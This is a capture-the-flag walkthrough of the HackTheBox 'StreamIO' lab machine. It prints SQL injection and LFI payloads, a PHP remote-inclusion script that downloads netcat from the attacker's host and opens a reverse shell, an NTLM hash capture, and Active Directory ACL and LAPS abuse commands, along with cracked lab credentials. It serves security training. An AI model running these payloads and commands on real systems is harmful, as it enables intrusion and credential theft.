In this walk through, we will be going through the StreamIO room from HackTheBox. This room is rated as medium on the platform and it consists of lot of subdomain enumeration, the initial access requires knowledge in vulnerabilities like SQL Injection & LFI and for privilege escalation, the LDAP secrets are exposed to get root. So, let’s get started without any delay.
Table of Contents
Machine Info:
Title | StreamIO |
IPaddress | 10.10.11.158 |
Difficulty | Medium |
OS | Windows |
Description | StreamIO is a medium machine that covers subdomain enumeration leading to an SQL injection in order to retrieve stored user credentials, which are cracked to gain access to an administration panel. The exploitation then includes LFI to RCE and for privilege escalation, LAPS password got in use. |
Enumeration:
- I started off with my regular Aggressive Nmap scan and found multiple ports opened. The interesting one was port 80 and 443 (HTTP) indicating a web server running. Another one was port 88 (Kerberos) showcasing that we are dealing with an Active Directory environment here. Next, we have port 139,445 (SMB), 135 (RPC) and 389,3268 (LDAP).
$ sudo nmap -A 10.10.11.158 [sudo] password for wh1terose: Starting Nmap 7.80 ( https://nmap.org ) at 2023-12-13 11:08 IST Nmap scan report for 10.10.11.158 Host is up (0.21s latency). Not shown: 988 filtered ports PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 10.0 | http-methods: |_ Potentially risky methods: TRACE |_http-server-header: Microsoft-IIS/10.0 |_http-title: IIS Windows Server 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2023-12-13 12:39:07Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: streamIO.htb0., Site: Default-First-Site-Name) 443/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found | ssl-cert: Subject: commonName=streamIO/countryName=EU | Subject Alternative Name: DNS:streamIO.htb, DNS:watch.streamIO.htb | Not valid before: 2022-02-22T07:03:28 |_Not valid after: 2022-03-24T07:03:28 |_ssl-date: 2023-12-13T12:40:06+00:00; +7h00m00s from scanner time. | tls-alpn: |_ http/1.1 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: streamIO.htb0., Site: Default-First-Site-Name) 3269/tcp open tcpwrapped Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port OS fingerprint not ideal because: Missing a closed TCP port so results incomplete No OS matches for host Network Distance: 2 hops Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: |_clock-skew: mean: 6h59m59s, deviation: 0s, median: 6h59m58s | smb2-security-mode: | 2.02: |_ Message signing enabled and required | smb2-time: | date: 2023-12-13T12:39:30 |_ start_date: N/A TRACEROUTE (using port 445/tcp) HOP RTT ADDRESS 1 210.23 ms 10.10.14.1 2 210.29 ms 10.10.11.158 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 204.94 seconds
- Added the domain name in my /etc/hosts file and accessed the web server running on port 80.
- The web server has a default IIS installation page. I looked around but found nothing useful.
- Next, visited the web server running on port 443, this one holds a Movie Streaming web application. It has bunch of pages in it – About, Contact Us and Login.
- I looked into the login page, tried some SQL authentication payloads but found no luck.
- Further, looked into the About us page which reveals some members related to the website. These can be the potential usernames later.
- Fired feroxbuster on the target to reveal some juicy directories. Found one /admin but it shows a “FORBIDDEN” access error.
feroxbuster -k -u https://streamio.htb/ -w ~/Desktop/Wordlist/SecLists/Discovery/Web-Content/raft-small-directories-lowercase.txt
Subdomain Enumeration:
- Next, used wfuzz to enumerate some subdomains. Got a hit at – watch.streamio.htb
$ wfuzz -u https://streamio.htb -H "Host: FUZZ.streamio.htb" -w ~/Desktop/Wordlist/SecLists/Discovery/DNS/subdomains-top1million-5000.txt --hh 315 ******************************************************** * Wfuzz 2.4.5 - The Web Fuzzer * ******************************************************** Target: https://streamio.htb/ Total requests: 4989 =================================================================== ID Response Lines Word Chars Payload =================================================================== 000002268: 200 78 L 245 W 2829 Ch "watch" Total time: 107.7761 Processed Requests: 4989 Filtered Requests: 4988 Requests/sec.: 46.29041
- Added the subdomain to my /etc/hosts file and accessed the running web app.
- This one holds an application that is used to stream and search movies online. However, i only see an email subscription list option on the main page. Tried to enumerate it but found nothing useful.
- So, i fired feroxbuster on the subdomain also checking for the extensions like php and txt. This gave me an interesting result – search.php
feroxbuster -k -u https://watch.streamio.htb/ -w ~/Desktop/Wordlist/SecLists/Discovery/Web-Content/raft-small-directories-lowercase.txt -x php,txt
- The search.php page reveals a movie search page where we can search for a movie using its name in the search field.
- This seems like the application is fetching the results from a database and then displaying at the frontend. So, i used a SQL injection payload in the search field and it got flagged. That means, a WAF is configured to look for potential Injection attempts.
Performing SQL Injection:
- I used the below command to enumerated the columns from which i can retrieve the data and got one.
10' union select 1,2,3,4,5,6;-- -
- Next, enumerated the SQL version and type running on the target using the below command. Found that, it is a Microsoft SQL Server 2019 running on the target.
10' union select 1,@@version,3,4,5,6-- -
- Moving on, dumped the database name with the below command. Found out that, we are dealing with a database named STREAMIO.
10' union select 1,(select DB_NAME()),3,4,5,6-- -
- Next, Dumped the table name from the database. Found an interesting one called users.
10' union select 1,table_name,3,4,5,6 from information_schema.tables-- -
- Now, dumped the column names from the user tables. Found two interesting ones – username and password.
10' union select 1,column_name,3,4,5,6 from information_schema.columns where table_name='users'-- -
- Dumped the contents of the columns username and password. It reveals a lots of passwords.
10' union select 1,concat(username,password),3,4,5,6 from users-- -
- For the dumped credentials, i used crackstation to crack them and was able to successfully crack a few of them.
admin: 665a50ac9eaa781e4f7f04199db97a11 -> paddpadd Alexendra: 1c2b3d8270321140e5153f6637d3ee53 Austin: 0049ac57646627b8d7aeaccf8b6a936f Barbra: 3961548825e3e21df5646cafe11c6c76 Barry: 54c88b2dbd7b1a84012fabc1a4c73415 -> $hadoW Baxter: 22ee218331afd081b0dcd8115284bae3 Bruno: 2a4e2cf22dd8fcb45adcb91be1e22ae8 -> $monique$1991$ Carmon: 35394484d89fcfdb3c5e447fe749d213 Clara: ef8f3d30a856cf166fb8215aca93e9ff - %$clara Diablo: ec33265e5fc8c2f1b0c137bb7b3632b5 Garfield: 8097cedd612cc37c29db152b6e9edbd3 Juliette: 6dcd87740abb64edfa36d170f0d5450d -> $3xybitch Lauren: 08344b85b329d7efd611b7a7743e8a09 -> ##123a8j8w5123## Lenord: ee0b8a0937abd60c2882eacb2f8dc49f -> physics69i Lucifer: 7df45a9e3de3863807c026ba48e55fb3 Michelle: b83439b16f844bd6ffe35c02fe21b3c0 -> !?Love?!123 Oliver: fd78db29173a5cf701bd69027cb9bf6b Robert: f03b910e2bd0313a23fdd7575f34a694 Robin: dc332fb5576e9631c9dae83f194f8e70 Sabrina: f87d3c0d6c8fd686aacc6627f1f493a5 -> !!sabrina$ Samantha: 083ffae904143c4796e464dac33c1f7d Stan: 384463526d288edcc95fc3701e523bc7 Thane: 3577c47eb1e12c8ba021611e1280753c -> highschoolmusical Theodore: 925e5408ecb67aea449373d668b7359e Victor: bf55e15b119860a6e6b5a164377da719 Victoria: b22abb47a02b52d5dfa27fb0b534f693 -> !5psycho8! William: d62be0dc82071bccc1322d64ec5b6c51 yoshihide: b779ba15cedfd22a023c4d8bcf5f2332 -> 66boysandgirls..
- With the cracked password, i tried to log into the streamio.htb website however only got lucky with user yoshihide’s password.
Performing LFI exploitation:
- Once I reached in the Admin panel, looked around and found an interesting endpoint used for the various options in the dashboard. This seems like the endpoint is used to call for other files and queries. This could lead to LFI or RCE.
- I fuzzed i using ffuf and found a hidden one called debug.
ffuf -u https://streamio.htb/admin/?FUZZ= -w ~/Desktop/Wordlist/common.txt -b "PHPSESSID=mvjmjs08i64aal9n1uaigm98pl" --fs 1678
- I checked the found endpoint endpoint for LFI and was able to successfully dump the contents of the /etc/hosts file of the target.
https://streamio.htb/admin/?debug=C:/Windows/System32/drivers/etc/hosts
- Next, i thought of using responder to captured some NTLM hashes if i may get lucky using LFI.
sudo python3 Responder.py -I tun0
- I was able to capture the hashes by pointing the endpoint to my fake share. However, i was unable to crack the password of the user with the default rockyou wordlist.
https://streamio.htb/admin/?debug=//10.10.14.24/hackme
yoshihide::streamIO:d8423701f93c8520:37A7C7C8DC55DED1C8B7A749A6F2DAED:010100000000000000275EE30A2EDA012B87678A866415E80000000002000800540053004A004C0001001E00570049004E002D00500043004E004E00550048003200370033005100370004003400570049004E002D00500043004E004E0055004800320037003300510037002E00540053004A004C002E004C004F00430041004C0003001400540053004A004C002E004C004F00430041004C0005001400540053004A004C002E004C004F00430041004C000700080000275EE30A2EDA01060004000200000008003000300000000000000000000000002100008C367233A27207F777C1E25E89460CA0533A2C992BA2399AB7E4DCF2240160630A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310034002E00320034000000000000000000
- Moving on, i fired up gobuster again on the target this time at the /admin directory to see if we had miss something juicy and indeed we did. I found a page called master.php which was unknown to us earlier.
gobuster dir -k -u https://streamio.htb/admin/ -w ~/Desktop/Wordlist/common.txt -x php,txt
- Accessed it and it shows that it is only accessible through includes. Interesting!
- On the debug endpoint, i used a PHP base64 wrapper in order to read the contents of the master.php file.
https://streamio.htb/admin/?debug=php://filter/convert.base64-encode/resource=master.php
- Decoded the generated base64 to get the source code of master.php
echo "onlyPGgxPk1vdmllIG1hbmFnbWVudDwvaDE+DQo8P3BocA0KaWYoIWRlZmluZWQoJ2luY2x1ZGVkJykpDQoJZGllKCJPbmx5IGFjY2Vzc2FibGUgdGhyb3VnaCBpbmNsdWRlcyIpOw0KaWYoaXNzZXQoJF9QT1NUW-- snipped --" | base64 -d
�yr<h1>Movie managment</h1> <?php if(!defined('included')) die("Only accessable through includes"); if(isset($_POST['movie_id'])) { $query = "delete from movies where id = ".$_POST['movie_id']; $res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered")); } $query = "select * from movies order by movie"; $res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered")); while($row = sqlsrv_fetch_array($res, SQLSRV_FETCH_ASSOC)) { ?> <div> <div class="form-control" style="height: 3rem;"> <h4 style="float:left;"><?php echo $row['movie']; ?></h4> <div style="float:right;padding-right: 25px;"> <form method="POST" action="?movie="> <input type="hidden" name="movie_id" value="<?php echo $row['id']; ?>"> <input type="submit" class="btn btn-sm btn-primary" value="Delete"> </form> </div> </div> </div> <?php } # while end ?> <br><hr><br> <h1>Staff managment</h1> <?php if(!defined('included')) die("Only accessable through includes"); $query = "select * from users where is_staff = 1 "; $res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered")); if(isset($_POST['staff_id'])) { ?> <div class="alert alert-success"> Message sent to administrator</div> <?php } $query = "select * from users where is_staff = 1"; $res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered")); while($row = sqlsrv_fetch_array($res, SQLSRV_FETCH_ASSOC)) { ?> <div> <div class="form-control" style="height: 3rem;"> <h4 style="float:left;"><?php echo $row['username']; ?></h4> <div style="float:right;padding-right: 25px;"> <form method="POST"> <input type="hidden" name="staff_id" value="<?php echo $row['id']; ?>"> <input type="submit" class="btn btn-sm btn-primary" value="Delete"> </form> </div> </div> </div> <?php } # while end ?> <br><hr><br> <h1>User managment</h1> <?php if(!defined('included')) die("Only accessable through includes"); if(isset($_POST['user_id'])) { $query = "delete from users where is_staff = 0 and id = ".$_POST['user_id']; $res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered")); } $query = "select * from users where is_staff = 0"; $res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered")); while($row = sqlsrv_fetch_array($res, SQLSRV_FETCH_ASSOC)) { ?> <div> <div class="form-control" style="height: 3rem;"> <h4 style="float:left;"><?php echo $row['username']; ?></h4> <div style="float:right;padding-right: 25px;"> <form method="POST"> <input type="hidden" name="user_id" value="<?php echo $row['id']; ?>"> <input type="submit" class="btn btn-sm btn-primary" value="Delete"> </form> </div> </div> </div> <?php } # while end ?> <br><hr><br> <form method="POST"> <input name="include" hidden> </form> <?php if(isset($_POST['include'])) { if($_POST['include'] !== "index.php" ) eval(file_get_contents($_POST['include'])); else echo(" ---- ERROR ---- "); }
Initial Access:
- The source code reveals that, the master.php page is using a dangerous PHP function called eval which is used to generate system calls. This functions is using the file_get_contents module and including it in a POST request. The file that has to be included should be different than index.php. In that case, we can add an include parameter to the request directed to master.php with the method POST. We will include a php script that will contains instructions to download and executed the netcat binary on the target. Thus, giving us the initial shell access.
- I generated a PHP script named pwn.php with the following contents. The script will first download the netcat binary to the temp folder on the target and then will connect to my machine on port 4444.
system("curl 10.10.14.24:8000/nc.exe -o c:\\windows\\temp\\nc.exe"); system("c:\\windows\\temp\\nc.exe 10.10.14.24 4444 -e cmd.exe");
- Spawned the python HTTP server serving our php script and netcat binary.
- I was unable to make a request via Burpsuite. So, did it using curl. Once the script executed, i got the connection back at netcat listener.
curl -X POST 'https://streamio.htb/admin/?debug=master.php' -k -b 'PHPSESSID=mvjmjs08i64aal9n1uaigm98pl' -d 'include=http://10.10.14.24:8000/pwn.php'
Lateral Movement:
- Next, checked the contents of the index.php file and it reveals pair of credentials related to the MSSQL database.
type index.php
db_admin: B1@hx31234567890
- Used the credentials with sqlcmd utility and dump some username and passwords.
powershell -ep bypass sqlcmd -S localhost -U db_admin -P B1@hx31234567890 -d streamio_backup -Q "select table_name from streamio_backup.information_schema.tables;" sqlcmd -S localhost -U db_admin -P B1@hx31234567890 -d streamio_backup -Q "select table_name from streamio_backup.information_schema.tables;"
sqlcmd -S localhost -U db_admin -P B1@hx31234567890 -d streamio_backup -Q "select * from users;" sqlcmd -S localhost -U db_admin -P B1@hx31234567890 -d streamio_backup -Q "select * from users;"sqlcmd -S localhost -U db_admin -P B1@hx31234567890 -d streamio_backup -Q "select * from users;"
nikk37: 389d14cb8e4e9b94b137deb1caf0612a yoshihide: b779ba15cedfd22a023c4d8bcf5f2332 James: c660060492d9edcaa8332d89c99c9239 Theodore: 925e5408ecb67aea449373d668b7359e Samantha: 083ffae904143c4796e464dac33c1f7d Lauren: 08344b85b329d7efd611b7a7743e8a09 William: d62be0dc82071bccc1322d64ec5b6c51 Sabrina: f87d3c0d6c8fd686aacc6627f1f493a5
- Cracked the password for nikk37 as it was one of the user on the target.
nikk37: [email protected]
- Sprayed the password of user nikk37 on DC in order to check if we can get access and got a green flag.
crackmapexec smb 10.10.11.158 -u nikk37 -p [email protected]
- Used Evil-WinRM to get the shell access as user nikk37 and captured the user flag.
evil-winrm.rb -i 10.10.11.158 -u nikk37 -p [email protected]
Post-Compromise Enumeration
- Next uploaded SharpHound ingestor on the target and executed it to perform some post-compromise enumeration. After a successful run, downloaded the generated zip file on my local machine.
./SharpHound.exe -c all
- Uploaded the data to Bloodhound and Looked for the “Shortest Path to Domain Admins”. As per the graph, we can access the DC by exploiting the LAPS Password configuration if we have access to group “CORE STAFF” and that is possible if we have access as user “JDGODD”.
- Next, fired Winpeas on the target to check for any other privilege escalation vectors and found a Mozilla Firefox Database file in user nikk37 home directory.
Extracting credentials from Firefox Database
- Downloaded the database “key4.db” and “logins.json” to my local machine.
- Used firepwd to extract the saved username and password from the Firefox’s database. As per the result, the username and password values are mismatched.
$ python3 ~/Tools/firepwd/firepwd.py -- snipped -- clearText b'b3610ee6e057c4341fc76bc84cc8f7cd51abfe641a3eec9d0808080808080808' decrypting login/password pairs https://slack.streamio.htb:b'admin',b'JDg0dd1s@d0p3cr3@t0r' https://slack.streamio.htb:b'nikk37',b'n1kk1sd0p3t00:)' https://slack.streamio.htb:b'yoshihide',b'paddpadd@12' https://slack.streamio.htb:b'JDgodd',b'password@12'
- I checked the password “JDg0dd1s@d0p3cr3@t0r” with username “JDgodd” and got a positive response from crackmapexec. But i was unable to get a shell using it. That means, we can authenticate using the creds but do not have a writable share.
Privilege Escalation:
- Uploaded, Powerview on the target. We will now first add user JDgodd in Core Staff group as we have the rights as user nikk37 to add members. Using that, we will perform the LAPS password read and then we will dump the MCS-AdmPwd using LDAP.
- Invoked Powerview. Followed by the process of adding user JDgodd to CORE STAFF group and then checking the user JDgodd changed account information.
. .\Powerview.ps1 $pass = ConvertTo-SecureString 'JDg0dd1s@d0p3cr3@t0r' -AsPlainText -Force $cred = New-Object System.Management.Automation.PSCredential('streamio.htb\JDgodd', $pass) Add-DomainObjectAcl -Credential $cred -TargetIdentity "Core Staff" -PrincipalIdentity "streamio\JDgodd" Add-DomainGroupMember -Credential $cred -Identity "Core Staff" -Members "StreamIO\JDgodd" net user jdgodd
- Next, we used ldapsearch to dump the MCS-AdmPwd password.
ldapsearch -h 10.10.11.158 -b 'DC=streamIO,DC=htb' -x -D [email protected] -w 'JDg0dd1s@d0p3cr3@t0r' "(ms-MCS-AdmPwd=*)" ms-MCS-AdmPwd
- Checked the credentials using crackmapexec we can access the DC with them as administrator and it shows a freakin Pwn3d!
- At last, Evil-WinRM to get the shell as administrator and captured the root flag from user Martin’s desktop.
evil-winrm.rb -i 10.10.11.158 -u administrator -p 'y4GHoyDr6W)PGE'
Also Read: Webgoat – XXE Injection
Conclusion:
So that was “StreamIO” for you. This machine covers subdomain enumeration leading to an SQL injection in order to retrieve stored user credentials, which are cracked to gain access to an administration panel. The administration panel is vulnerable to LFI, which allows us to retrieve the source code for the administration pages and leads to identifying a remote file inclusion vulnerability, the abuse of which gains us access to the system. After the initial shell we leverage the SQLCMD command line utility to enumerate databases and obtain further credentials used in lateral movement. As the secondary user we use WinPEAS
to enumerate the system and find saved browser databases, which are decoded to expose new credentials. Using the new credentials within BloodHound we discover that the user has the ability to add themselves to a specific group in which they can read LDAP secrets. Without direct access to the account we use PowerShell to abuse this feature and add ourselves to the Core Staff
group, then access LDAP to disclose the administrator LAPS password. On that note, i would take your leave and will meet you in next one. Till then, “Happy hacking”.